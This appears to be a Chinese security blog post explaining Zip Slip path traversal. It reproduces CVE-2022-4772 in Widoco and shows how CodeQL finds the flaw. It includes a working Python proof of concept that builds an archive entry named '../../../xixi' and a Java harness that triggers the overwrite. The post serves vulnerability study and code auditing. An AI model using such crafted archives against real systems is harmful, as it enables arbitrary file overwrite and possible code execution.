Zip Slip漏洞審計實戰

2023-03-10 06:00:29

前言

最近看到許少的推有說到Zip Slip這個漏洞導致的RCE,其實我在程式碼審計的時候確實發現有不少功能模組都是使用ZIP來解壓,其實還是在真實系統中經常見到的。

於是想著好久沒有寫過部落格了,想借著這次機會更新一下吧,免得讀者以為我在偷懶沒學習了~

 

Zip Slip是什麼漏洞

Zip Slip是一種在壓縮包中特製(../../../evil.sh)的解壓縮檔案替換漏洞,包括多種解壓縮如tar、jar、war、cpio、apk、rar、7z和zip等。

Java中較為常見的場景是上傳壓縮包進行解壓的時候,後端使用解壓類直接將壓縮包當中的節點解壓出來,可能會通過節點的名字../跳轉到上級目錄中,從而導致任意目錄的檔案替換。如果結合系統特性和某些定時任務指令碼,就可能導致RCE的執行,因此該漏洞也被標記為高危漏洞。

我從先知上TGAO師傅釋出的文章裡面公佈的poc:

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc.zip")
        zipFile.write("E:/qqq.txt", "../../../xixi", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except IOError as e:
        raise e

 

其中qqq.txt是需要壓縮的檔案,../../../xixi是該檔案在壓縮包中的名字

之後在Java中使用zipEntry.getName()等方法獲取的就是../../../xixi這個字串

更多的框架Zip-Slip漏洞可以在開源專案中找到:https://github.com/snyk/zip-slip-vulnerability

 

 

漏洞分析實戰

java.util.zip.ZipEntry

該類是Jdk中自帶的原生類,在TGAO師傅釋出的文章中介紹到了,這裡就不在贅述了

 

 

Widoco Zip-Slip(CVE-2022-4772)漏洞分析

漏洞描述

WIDOCO是一個用於記錄本體的嚮導。幫助您通過在GUI中執行一系列步驟,自動釋出和建立一個豐富的、客製化的本體檔案。 WIDOCO在1.4.17版本之前存在Zip-Slip漏洞,漏洞點在src/main/java/widoco/WidocoUtils.java檔案中,通過unZipIt函數可以將zip包中的檔案寫入到任意可寫入的資料夾中,這將影響伺服器的完整性。

漏洞定位

檢視1.4.17版本和Github上Master最新的版本做對比

 

發現是在方法Unzipit中進行了修補

 

漏洞復現

首先新增Widoco有漏洞版本到專案依賴中

<dependencies>
  <dependency>
      <groupId>com.github.dgarijo</groupId>
      <artifactId>Widoco</artifactId>
      <version>v1.4.16</version>
  </dependency>
</dependencies>

[ ... ]

<repositories>
    <repository>
        <id>jitpack.io</id>
        <url>https://jitpack.io</url>
    </repository>
</repositories>

 

 執行poc.py,設定跨越到上級目錄../xixi檔案

 

再編寫漏洞利用程式碼,模擬真實場景下壓縮包解壓的情況

package javaTest;

import widoco.WidocoUtils;

public class GST {
    public static void main(String[] args){
        String path = GST.class.getResource("/").toString();
        System.out.println("path = " + path);
        String resourceName = "/poc.zip";
        String outputFolder = "E:\\work\\TempVuln\\tempDir";
        WidocoUtils.unZipIt(resourceName,outputFolder);
        System.out.println("Done");
    }
}

 

執行後xixi檔案就直接被解壓到上級目錄下,造成Zip-Slip漏洞

 

再來看看修復方案,是判斷解壓的路徑和設定的目標主目錄是否是相等的,如果不是則丟擲異常

 

 

使用CodeQL發現漏洞

首先下載目標對應版本的專案,使用如下命令建立資料庫

codeql database create qldb-test -l java

 

建立成功後會有successful的提示

之後使用database analyze進行分析

codeql database analyze qldb-test E:\codeql\ql\java\ql\src\Security\CWE --format=sarifv2.1.0 --output=result.sarif

 

這裡的路徑是CWE的分析規則,挨個進行分析

在該目錄會生成一個result.sarif檔案,通過vscode的sarif viewer外掛開啟

 

開啟sarif檔案,從RULES一欄中可以看到zipslip的漏洞就發現了

 

如此的漏洞,在程式碼審計和系統中很多開發人員都不知道,也許隨手就拿來用了

 

 

Reference

[1].https://res.cloudinary.com/snyk/image/upload/v1528192501/zip-slip-vulnerability/technical-whitepaper.pdf

[2].https://github.com/snyk/zip-slip-vulnerability

[3].https://xz.aliyun.com/t/12081

[4].https://github.com/dgarijo/Widoco/pull/551

[5].https://vip.riskivy.com/detail/1607889173715488768